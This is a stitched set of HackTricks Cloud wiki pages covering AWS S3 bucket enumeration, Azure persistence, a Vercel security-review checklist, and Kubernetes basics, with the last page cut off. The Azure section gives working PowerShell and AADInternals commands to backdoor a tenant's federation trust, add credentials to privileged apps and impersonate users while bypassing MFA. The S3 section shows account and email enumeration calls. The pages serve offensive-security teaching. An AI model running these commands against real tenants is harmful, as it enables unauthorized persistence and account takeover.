[**BucketLoot**](https://github.com/redhuntlabs/BucketLoot) can automatically **search for interesting information**. You can find all the supported regions by AWS in [**https://docs.aws.amazon.com/general/latest/gr/s3.html**](https://docs.aws.amazon.com/general/latest/gr/s3.html) You can get the region of a bucket with a **`dig`** and **`nslookup`** by doing a **DNS request of the discovered IP**: bash dig flaws.cloud ;; ANSWER SECTION: flaws.cloud. 5 IN A 52.218.192.11 nslookup 52.218.192.11 Non-authoritative answer: 11.192.218.52.in-addr.arpa name = s3-website-us-west-2.amazonaws.com. Check that the resolved domain have the word "website". You can access the static website going to: `flaws.cloud.s3-website-us-west-2.amazonaws.com` or you can access the bucket visiting: `flaws.cloud.s3-us-west-2.amazonaws.com` If you try to access a bucket, but in the **domain name you specify another region** (for example the bucket is in `bucket.s3.amazonaws.com` but you try to access `bucket.s3-website-us-west-2.amazonaws.com`, then you will be **indicated to the correct location**: ![](../../../images/image%20(106).png) To test the openness of the bucket a user can just enter the URL in their web browser. A private bucket will respond with "Access Denied". A public bucket will list the first 1,000 objects that have been stored. Open to everyone: ![](../../../images/image%20(201).png) Private: ![](../../../images/image%20(83).png) You can also check this with the cli: bash #Use --no-sign-request for check Everyones permissions #Use --profile to indicate the AWS profile(keys) that youwant to use: Check for "Any Authenticated AWS User" permissions #--recursive if you want list recursivelyls #Opcionally you can select the region if you now it aws s3 ls s3://flaws.cloud/ [--no-sign-request] [--profile ] [ --recursive] [--region us-west-2] If the bucket doesn't have a domain name, when trying to enumerate it, **only put the bucket name** and not the whole AWSs3 domain. Example: `s3://` https://{user_provided}.s3.amazonaws.com It's possible to determine an AWS account by taking advantage of the new **`S3:ResourceAccount`** **Policy Condition Key**. This condition **restricts access based on the S3 bucket** an account is in (other account-based policies restrict based on the account the requesting principal is in). And because the policy can contain **wildcards** it's possible to find the account number **just one number at a time**. This tool automates the process: bash # Installation pipx install s3-account-search pip install s3-account-search # With a bucket s3-account-search arn:aws:iam::123456789012:role/s3_read s3://my-bucket # With an object s3-account-search arn:aws:iam::123456789012:role/s3_read s3://my-bucket/path/to/object.ext This technique also works with API Gateway URLs, Lambda URLs, Data Exchange data sets and even to get the value of tags (if you know the tag key). You can find more information in the [**original research**](https://blog.plerion.com/conditional-love-for-aws-metadata-enumeration/) and the tool [**conditional-love**](https://github.com/plerionhq/conditional-love/) to automate this exploitation. As explained in [**this blog post**](https://blog.plerion.com/things-you-wish-you-didnt-need-to-know-about-s3/) **, if you have permissions to list a bucket** it’s possible to confirm an accountID the bucket belongs to by sending a request like: bash curl -X GET "[bucketname].amazonaws.com/" \ -H "x-amz-expected-bucket-owner: [correct-account-id]" ... If the error is an “Access Denied” it means that the account ID was wrong. As explained in [**this blog post**](https://blog.plerion.com/things-you-wish-you-didnt-need-to-know-about-s3/) , it's possible to check if an email address is related to any AWS account by **trying to grant an email permissions** over a S3 bucket via ACLs. If this doesn't trigger an error, it means that the email is a root user of some AWS account: python s3_client.put_bucket_acl( Bucket=bucket_name, AccessControlPolicy={ 'Grants': [\ {\ 'Grantee': {\ 'EmailAddress': 'some@emailtotest.com',\ 'Type': 'AmazonCustomerByEmail',\ },\ 'Permission': 'READ'\ },\ ], 'Owner': { 'DisplayName': 'Whatever', 'ID': 'c3d78ab5093a9ab8a5184de715d409c2ab5a0e2da66f08c2f6cc5c0bdeadbeef' } } ) * [https://www.youtube.com/watch?v=8ZXRw4Ry3mQ](https://www.youtube.com/watch?v=8ZXRw4Ry3mQ) * [https://cloudar.be/awsblog/finding-the-account-id-of-any-public-s3-bucket/](https://cloudar.be/awsblog/finding-the-account-id-of-any-public-s3-bucket/) tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. --- # Az - Post Exploitation - HackTricks Cloud [![](../../../../../images/CLOUD-web-logo.png)HackTricks Cloud\ =============================================================](/) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) Translations Afrikaans Chinese English French German Greek Hindi Italian Japanese Korean Polish Portuguese Serbian Spanish Swahili Turkish Ukrainian Reading time: 0 minutes --- # Az - Persistence - HackTricks Cloud [![](../../../../../images/CLOUD-web-logo.png)HackTricks Cloud\ =============================================================](/) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) Translations Afrikaans Chinese English French German Greek Hindi Italian Japanese Korean Polish Portuguese Serbian Spanish Swahili Turkish Ukrainian Reading time: 3 minutes tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. By default, any user can register an application in Entra ID. So you can register an application (only for the target tenant) that needs high impact permissions with admin consent (an approve it if you are the admin) - like sending mail on a user's behalf, role management etc.T his will allow us to **execute phishing attacks** that would be very **fruitful** in case of success. Moreover, you could also accept that application with your user as a way to maintain access over it. With privileges of Application Administrator, GA or a custom role with microsoft.directory/applications/credentials/update permissions, we can add credentials (secret or certificate) to an existing application. It's possible to **target an application with high permissions** or **add a new application** with high permissions. An interesting role to add to the application would be **Privileged authentication administrator role** as it allows to **reset password** of Global Administrators. This technique also allows to **bypass MFA**. bash $passwd = ConvertTo-SecureString "J~Q~QMt_qe4uDzg53MDD_jrj_Q3P.changed" -AsPlainText -Force $creds = New-Object System.Management.Automation.PSCredential("311bf843-cc8b-459c-be24-6ed908458623", $passwd) Connect-AzAccount -ServicePrincipal -Credential $credentials -Tenant e12984235-1035-452e-bd32-ab4d72639a * For certificate based authentication bash Connect-AzAccount -ServicePrincipal -Tenant -CertificateThumbprint -ApplicationId With **DA privileges** on on-prem AD, it is possible to create and import **new Token signing** and **Token Decrypt certificates** that have a very long validity. This will allow us to **log-in as any user** whose ImuutableID we know. **Run** the below command as **DA on the ADFS server(s)** to create new certs (default password 'AADInternals'), add them to ADFS, disable auto rollver and restart the service: bash New-AADIntADFSSelfSignedCertificates Then, update the certificate information with Azure AD: bash Update-AADIntADFSFederationSettings -Domain cyberranges.io With GA privileges on a tenant, it's possible to **add a new domain** (must be verified), configure its authentication type to Federated and configure the domain to **trust a specific certificate** (any.sts in the below command) and issuer: bash # Using AADInternals ConvertTo-AADIntBackdoor -DomainName cyberranges.io # Get ImmutableID of the user that we want to impersonate. Using Msol module Get-MsolUser | select userPrincipalName,ImmutableID # Access any cloud app as the user Open-AADIntOffice365Portal -ImmutableID qIMPTm2Q3kimHgg4KQyveA== -Issuer "http://any.sts/B231A11F" -UseBuiltInCertificate -ByPassMFA$true * [https://aadinternalsbackdoor.azurewebsites.net/](https://aadinternalsbackdoor.azurewebsites.net/) tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. --- # Az - Privilege Escalation - HackTricks Cloud [![](../../../../../images/CLOUD-web-logo.png)HackTricks Cloud\ =============================================================](/) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) Translations Afrikaans Chinese English French German Greek Hindi Italian Japanese Korean Polish Portuguese Serbian Spanish Swahili Turkish Ukrainian Reading time: 0 minutes --- # Vercel Security - HackTricks Cloud [![](../../../../../images/CLOUD-web-logo.png)HackTricks Cloud\ =============================================================](/) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) Translations Afrikaans Chinese English French German Greek Hindi Italian Japanese Korean Polish Portuguese Serbian Spanish Swahili Turkish Ukrainian Reading time: 13 minutes tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. In Vercel a **Team** is the complete **environment** that belongs a client and a **project** is an **application**. For a hardening review of **Vercel** you need to ask for a user with **Viewer role permission** or at least **Project viewer permission over the projects** to check (in case you only need to check the projects and not the Team configuration also). **Purpose:** Manage fundamental project settings such as project name, framework, and build configurations. * **Transfer** * **Misconfiguration:** Allows to transfer the project to another team * **Risk:** An attacker could steal the project * **Delete Project** * **Misconfiguration:** Allows to delete the project * **Risk:** Delete the prject * * * **Purpose:** Manage custom domains, DNS settings, and SSL configurations. * **DNS Configuration Errors** * **Misconfiguration:** Incorrect DNS records (A, CNAME) pointing to malicious servers. * **Risk:** Domain hijacking, traffic interception, and phishing attacks. * **SSL/TLS Certificate Management** * **Misconfiguration:** Using weak or expired SSL/TLS certificates. * **Risk:** Vulnerable to man-in-the-middle (MITM) attacks, compromising data integrity and confidentiality. * **DNSSEC Implementation** * **Misconfiguration:** Failing to enable DNSSEC or incorrect DNSSEC settings. * **Risk:** Increased susceptibility to DNS spoofing and cache poisoning attacks. * **Environment used per domain** * **Misconfiguration:** Change the environment used by the domain in production. * **Risk:** Expose potential secrets or functionalities taht shouldn't be available in production. * * * **Purpose:** Define different environments (Development, Preview, Production) with specific settings and variables. * **Environment Isolation** * **Misconfiguration:** Sharing environment variables across environments. * **Risk:** Leakage of production secrets into development or preview environments, increasing exposure. * **Access to Sensitive Environments** * **Misconfiguration:** Allowing broad access to production environments. * **Risk:** Unauthorized changes or access to live applications, leading to potential downtimes or data breaches. * * * **Purpose:** Manage environment-specific variables and secrets used by the application. * **Exposing Sensitive Variables** * **Misconfiguration:** Prefixing sensitive variables with `NEXT_PUBLIC_`, making them accessible on the client side. * **Risk:** Exposure of API keys, database credentials, or other sensitive data to the public, leading to data breaches. * **Sensitive disabled** * **Misconfiguration:** If disabled (default) it's possible to read the values of the generated secrets. * **Risk:** Increased likelihood of accidental exposure or unauthorized access to sensitive information. * **Shared Environment Variables** * **Misconfiguration:** These are env variables set at Team level and could also contain sensitive information. * **Risk:** Increased likelihood of accidental exposure or unauthorized access to sensitive information. * * * **Purpose:** Configure Git repository integrations, branch protections, and deployment triggers. * **Ignored Build Step (TODO)** * **Misconfiguration:** It looks like this option allows to configure a bash script/commands that will be executed when a new commit is pushed in Github, which could allow RCE. * **Risk:** TBD * * * **Purpose:** Connect third-party services and tools to enhance project functionalities. * **Insecure Third-Party Integrations** * **Misconfiguration:** Integrating with untrusted or insecure third-party services. * **Risk:** Introduction of vulnerabilities, data leaks, or backdoors through compromised integrations. * **Over-Permissioned Integrations** * **Misconfiguration:** Granting excessive permissions to integrated services. * **Risk:** Unauthorized access to project resources, data manipulation, or service disruptions. * **Lack of Integration Monitoring** * **Misconfiguration:** Failing to monitor and audit third-party integrations. * **Risk:** Delayed detection of compromised integrations, increasing the potential impact of security breaches. * * * **Purpose:** Secure deployments through various protection mechanisms, controlling who can access and deploy to your environments. **Vercel Authentication** * **Misconfiguration:** Disabling authentication or not enforcing team member checks. * **Risk:** Unauthorized users can access deployments, leading to data breaches or application misuse. **Protection Bypass for Automation** * **Misconfiguration:** Exposing the bypass secret publicly or using weak secrets. * **Risk:** Attackers can bypass deployment protections, accessing and manipulating protected deployments. **Shareable Links** * **Misconfiguration:** Sharing links indiscriminately or failing to revoke outdated links. * **Risk:** Unauthorized access to protected deployments, bypassing authentication and IP restrictions. **OPTIONS Allowlist** * **Misconfiguration:** Allowlisting overly broad paths or sensitive endpoints. * **Risk:** Attackers can exploit unprotected paths to perform unauthorized actions or bypass security checks. **Password Protection** * **Misconfiguration:** Using weak passwords or sharing them insecurely. * **Risk:** Unauthorized access to deployments if passwords are guessed or leaked. * **Note:** Available on the **Pro** plan as part of **Advanced Deployment Protection** for an additional $150/month. **Deployment Protection Exceptions** * **Misconfiguration:** Adding production or sensitive domains to the exception list inadvertently. * **Risk:** Exposure of critical deployments to the public, leading to data leaks or unauthorized access. * **Note:** Available on the **Pro** plan as part of **Advanced Deployment Protection** for an additional $150/month. **Trusted IPs** * **Misconfiguration:** Incorrectly specifying IP addresses or CIDR ranges. * **Risk:** Legitimate users being blocked or unauthorized IPs gaining access. * **Note:** Available on the **Enterprise** plan. * * * **Purpose:** Configure serverless functions, including runtime settings, memory allocation, and security policies. * **Nothing** * * * **Purpose:** Manage caching strategies and settings to optimize performance and control data storage. * **Purge Cache** * **Misconfiguration:** It allows to delete all the cache. * **Risk:** Unauthorized users deleting the cache leading to a potential DoS. * * * **Purpose:** Schedule automated tasks and scripts to run at specified intervals. * **Disable Cron Job** * **Misconfiguration:** It allows to disable cron jobs declared inside the code * **Risk:** Potential interruption of the service (depending on what the cron jobs were meant for) * * * **Purpose:** Configure external logging services to capture and store application logs for monitoring and auditing. * Nothing (managed from teams settings) * * * **Purpose:** Central hub for various security-related settings affecting project access, source protection, and more. **Build Logs and Source Protection** * **Misconfiguration:** Disabling protection or exposing `/logs` and `/src` paths publicly. * **Risk:** Unauthorized access to build logs and source code, leading to information leaks and potential exploitation of vulnerabilities. **Git Fork Protection** * **Misconfiguration:** Allowing unauthorized pull requests without proper reviews. * **Risk:** Malicious code can be merged into the codebase, introducing vulnerabilities or backdoors. **Secure Backend Access with OIDC Federation** * **Misconfiguration:** Incorrectly setting up OIDC parameters or using insecure issuer URLs. * **Risk:** Unauthorized access to backend services through flawed authentication flows. **Deployment Retention Policy** * **Misconfiguration:** Setting retention periods too short (losing deployment history) or too long (unnecessary data retention). * **Risk:** Inability to perform rollbacks when needed or increased risk of data exposure from old deployments. **Recently Deleted Deployments** * **Misconfiguration:** Not monitoring deleted deployments or relying solely on automated deletions. * **Risk:** Loss of critical deployment history, hindering audits and rollbacks. * * * **Purpose:** Access to additional project settings for fine-tuning configurations and enhancing security. **Directory Listing** * **Misconfiguration:** Enabling directory listing allows users to view directory contents without an index file. * **Risk:** Exposure of sensitive files, application structure, and potential entry points for attacks. * * * **Enable Attack Challenge Mode** * **Misconfiguration:** Enabling this improves the defenses of the web application against DoS but at the cost of usability * **Risk:** Potential user experience problems. * **Misconfiguration:** Allows to unblock/block traffic * **Risk:** Potential DoS allowing malicious traffic or blocking benign traffic * * * * **Misconfiguration:** Allows access to read the complete source code of the application * **Risk:** Potential exposure of sensitive information * **Misconfiguration:** This protection ensures the client and server application are always using the same version so there is no desynchronizations were the client uses a different version from the server and therefore they don't understand each other. * **Risk:** Disabling this (if enabled) could cause DoS problems in new deployments in the future * * * * **Transfer** * **Misconfiguration:** Allows to transfer all the projects to another team * **Risk:** An attacker could steal the projects * **Delete Project** * **Misconfiguration:** Allows to delete the team with all the projects * **Risk:** Delete the projects * * * * **Speed Insights Cost Limit** * **Misconfiguration:** An attacker could increase this number * **Risk:** Increased costs * * * * **Add members** * **Misconfiguration:** An attacker could maintain persitence inviting an account he control * **Risk:** Attacker persistence * **Roles** * **Misconfiguration:** Granting too many permissions to people that doesn't need it increases the risk of the vercel configuration. Check all the possible roles in [https://vercel.com/docs/accounts/team-members-and-roles/access-roles](https://vercel.com/docs/accounts/team-members-and-roles/access-roles) * **Risk**: Increate the exposure of the Vercel Team * * * An **Access Group** in Vercel is a collection of projects and team members with predefined role assignments, enabling centralized and streamlined access management across multiple projects. **Potential Misconfigurations:** * **Over-Permissioning Members:** Assigning roles with more permissions than necessary, leading to unauthorized access or actions. * **Improper Role Assignments:** Incorrectly assigning roles that do not align with team members' responsibilities, causing privilege escalation. * **Lack of Project Segregation:** Failing to separate sensitive projects, allowing broader access than intended. * **Insufficient Group Management:** Not regularly reviewing or updating Access Groups, resulting in outdated or inappropriate access permissions. * **Inconsistent Role Definitions:** Using inconsistent or unclear role definitions across different Access Groups, leading to confusion and security gaps. * * * * **Log Drains to third parties:** * **Misconfiguration:** An attacker could configure a Log Drain to steal the logs * **Risk:** Partial persistence * * * * **Team Email Domain:** When configured, this setting automatically invites Vercel Personal Accounts with email addresses ending in the specified domain (e.g., `mydomain.com`) to join your team upon signup and on the dashboard. * **Misconfiguration:** * Specifying the wrong email domain or a misspelled domain in the Team Email Domain setting. * Using a common email domain (e.g., `gmail.com`, `hotmail.com`) instead of a company-specific domain. * **Risks:** * **Unauthorized Access:** Users with email addresses from unintended domains may receive invitations to join your team. * **Data Exposure:** Potential exposure of sensitive project information to unauthorized individuals. * **Protected Git Scopes:** Allows you to add up to 5 Git scopes to your team to prevent other Vercel teams from deploying repositories from the protected scope. Multiple teams can specify the same scope, allowing both teams access. * **Misconfiguration:** Not adding critical Git scopes to the protected list. * **Risks:** * **Unauthorized Deployments:** Other teams may deploy repositories from your organization's Git scopes without authorization. * **Intellectual Property Exposure:** Proprietary code could be deployed and accessed outside your team. * **Environment Variable Policies:** Enforces policies for the creation and editing of the team's environment variables. Specifically, you can enforce that all environment variables are created as **Sensitive Environment Variables**, which can only be decrypted by Vercel's deployment system. * **Misconfiguration:** Keeping the enforcement of sensitive environment variables disabled. * **Risks:** * **Exposure of Secrets:** Environment variables may be viewed or edited by unauthorized team members. * **Data Breach:** Sensitive information like API keys and credentials could be leaked. * **Audit Log:** Provides an export of the team's activity for up to the last 90 days. Audit logs help in monitoring and tracking actions performed by team members. * **Misconfiguration:** Granting access to audit logs to unauthorized team members. * **Risks:** * **Privacy Violations:** Exposure of sensitive user activities and data. * **Tampering with Logs:** Malicious actors could alter or delete logs to cover their tracks. * **SAML Single Sign-On:** Allows customization of SAML authentication and directory syncing for your team, enabling integration with an Identity Provider (IdP) for centralized authentication and user management. * **Misconfiguration:** An attacker could backdoor the Team setting up SAML parameters such as Entity ID, SSO URL, or certificate fingerprints. * **Risk:** Maintain persistence * **IP Address Visibility:** Controls whether IP addresses, which may be considered personal information under certain data protection laws, are displayed in Monitoring queries and Log Drains. * **Misconfiguration:** Leaving IP address visibility enabled without necessity. * **Risks:** * **Privacy Violations:** Non-compliance with data protection regulations like GDPR. * **Legal Repercussions:** Potential fines and penalties for mishandling personal data. * **IP Blocking:** Allows the configuration of IP addresses and CIDR ranges that Vercel should block requests from. Blocked requests do not contribute to your billing. * **Misconfiguration:** Could be abused by an attacker to allow malicious traffic or block legit traffic. * **Risks:** * **Service Denial to Legitimate Users:** Blocking access for valid users or partners. * **Operational Disruptions:** Loss of service availability for certain regions or clients. * * * **Vercel Secure Compute** enables secure, private connections between Vercel Functions and backend environments (e.g., databases) by establishing isolated networks with dedicated IP addresses. This eliminates the need to expose backend services publicly, enhancing security, compliance, and privacy. 1. **Incorrect AWS Region Selection** * **Misconfiguration:** Choosing an AWS region for the Secure Compute network that doesn't match the backend services' region. * **Risk:** Increased latency, potential data residency compliance issues, and degraded performance. 2. **Overlapping CIDR Blocks** * **Misconfiguration:** Selecting CIDR blocks that overlap with existing VPCs or other networks. * **Risk:** Network conflicts leading to failed connections, unauthorized access, or data leakage between networks. 3. **Improper VPC Peering Configuration** * **Misconfiguration:** Incorrectly setting up VPC peering (e.g., wrong VPC IDs, incomplete route table updates). * **Risk:** Unauthorized access to backend infrastructure, failed secure connections, and potential data breaches. 4. **Excessive Project Assignments** * **Misconfiguration:** Assigning multiple projects to a single Secure Compute network without proper isolation. * **Risk:** Shared IP exposure increases the attack surface, potentially allowing compromised projects to affect others. 5. **Inadequate IP Address Management** * **Misconfiguration:** Failing to manage or rotate dedicated IP addresses appropriately. * **Risk:** IP spoofing, tracking vulnerabilities, and potential blacklisting if IPs are associated with malicious activities. 6. **Including Build Containers Unnecessarily** * **Misconfiguration:** Adding build containers to the Secure Compute network when backend access isn't required during builds. * **Risk:** Expanded attack surface, increased provisioning delays, and unnecessary consumption of network resources. 7. **Failure to Securely Handle Bypass Secrets** * **Misconfiguration:** Exposing or mishandling secrets used to bypass deployment protections. * **Risk:** Unauthorized access to protected deployments, allowing attackers to manipulate or deploy malicious code. 8. **Ignoring Region Failover Configurations** * **Misconfiguration:** Not setting up passive failover regions or misconfiguring failover settings. * **Risk:** Service downtime during primary region outages, leading to reduced availability and potential data inconsistency. 9. **Exceeding VPC Peering Connection Limits** * **Misconfiguration:** Attempting to establish more VPC peering connections than the allowed limit (e.g., exceeding 50 connections). * **Risk:** Inability to connect necessary backend services securely, causing deployment failures and operational disruptions. 10. **Insecure Network Settings** * **Misconfiguration:** Weak firewall rules, lack of encryption, or improper network segmentation within the Secure Compute network. * **Risk:** Data interception, unauthorized access to backend services, and increased vulnerability to attacks. * * * **Purpose:** Manage environment-specific variables and secrets used by all the projects. * **Exposing Sensitive Variables** * **Misconfiguration:** Prefixing sensitive variables with `NEXT_PUBLIC_`, making them accessible on the client side. * **Risk:** Exposure of API keys, database credentials, or other sensitive data to the public, leading to data breaches. * **Sensitive disabled** * **Misconfiguration:** If disabled (default) it's possible to read the values of the generated secrets. * **Risk:** Increased likelihood of accidental exposure or unauthorized access to sensitive information. tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. --- # Kubernetes Basics - HackTricks Cloud [![](../../../../../images/CLOUD-web-logo.png)HackTricks Cloud\ =============================================================](/) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) Translations Afrikaans Chinese English French German Greek Hindi Italian Japanese Korean Polish Portuguese Serbian Spanish Swahili Turkish Ukrainian Reading time: 18 minutes tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. **The original author of this page is** [**Jorge**](https://www.linkedin.com/in/jorge-belmonte-a924b616b/) **(read his original post** [**here**](https://sickrov.github.io) **)** * Allows running container/s in a container engine. * Schedule allows containers mission efficient. * Keep containers alive. * Allows container communications. * Allows deployment techniques. * Handle volumes of information. ![](https://sickrov.github.io/media/Screenshot-68.jpg) * **Node**: operating system with pod or pods. * **Pod**: Wrapper around a container or multiple containers with. A pod should only contain one application (so usually, a pod run just 1 container). The pod is the way kubernetes abstracts the container technology running. * **Service**: Each pod has 1 internal **IP address** from the internal range of the node. However, it can be also exposed via a service. The **service has also an IP address** and its goal is to maintain the communication between pods so if one dies the **new replacement** (with a different internal IP) **will be accessible** exposed in the **same IP of the service**. It can be configured as internal or external. The service also actuates as a **load balancer when 2 pods are connected** to the same service. When a **service** is **created** you can find the endpoints of each service running `kubectl get endpoints` * **Kubelet**: Primary node agent. The component that establishes communication between node and kubectl, and only can run pods (through API server). The kubelet doesn’t manage containers that were not created by Kubernetes. * **Kube-proxy**: is the service in charge of the communications (services) between the apiserver and the node. The base is an IPtables for nodes. Most experienced users could install other kube-proxies from other vendors. * **Sidecar container**: Sidecar containers are the containers that should run along with the main container in the pod. This sidecar pattern extends and enhances the functionality of current containers without changing them. Nowadays, We know that we use container technology to wrap all the dependencies for the application to run anywhere. A container does only one thing and does that thing very well. * **Master process:** * **Api Server:** Is the way the users and the pods use to communicate with the master process. Only authenticated request should be allowed. * **Scheduler**: Scheduling refers to making sure that Pods are matched to Nodes so that Kubelet can run them. It has enough intelligence to decide which node has more available resources the assign the new pod to it. Note that the scheduler doesn't start new pods, it just communicate with the Kubelet process running inside the node, which will launch the new pod. * **Kube Controller manager**: It checks resources like replica sets or deployments to check if, for example, the correct number of pods or nodes are running. In case a pod is missing, it will communicate with the scheduler to start a new one. It controls replication, tokens, and account services to the API. * **etcd**: Data storage, persistent, consistent, and distributed. Is Kubernetes’s database and the key-value storage where it keeps the complete state of the clusters (each change is logged here). Components like the Scheduler or the Controller manager depends on this date to know which changes have occurred (available resourced of the nodes, number of pods running...) * **Cloud controller manager**: Is the specific controller for flow controls and applications, i.e: if you have clusters in AWS or OpenStack. Note that as the might be several nodes (running several pods), there might also be several master processes which their access to the Api server load balanced and their etcd synchronized. **Volumes:** When a pod creates data that shouldn't be lost when the pod disappear it should be stored in a physical volume. **Kubernetes allow to attach a volume to a pod to persist the data**. The volume can be in the local machine or in a **remote storage**. If you are running pods in different physical nodes you should use a remote storage so all the pods can access it. **Other configurations:** * **ConfigMap**: You can configure **URLs** to access services. The pod will obtain data from here to know how to communicate with the rest of the services (pods). Note that this is not the recommended place to save credentials! * **Secret**: This is the place to **store secret data** like passwords, API keys... encoded in B64. The pod will be able to access this data to use the required credentials. * **Deployments**: This is where the components to be run by kubernetes are indicated. A user usually won't work directly with pods, pods are abstracted in **ReplicaSets** (number of same pods replicated), which are run via deployments. Note that deployments are for **stateless** applications. The minimum configuration for a deployment is the name and the image to run. * **StatefulSet**: This component is meant specifically for applications like **databases** which needs to **access the same storage**. * **Ingress**: This is the configuration that is use to **expose the application publicly with an URL**. Note that this can also be done using external services, but this is the correct way to expose the application. * If you implement an Ingress you will need to create **Ingress Controllers**. The Ingress 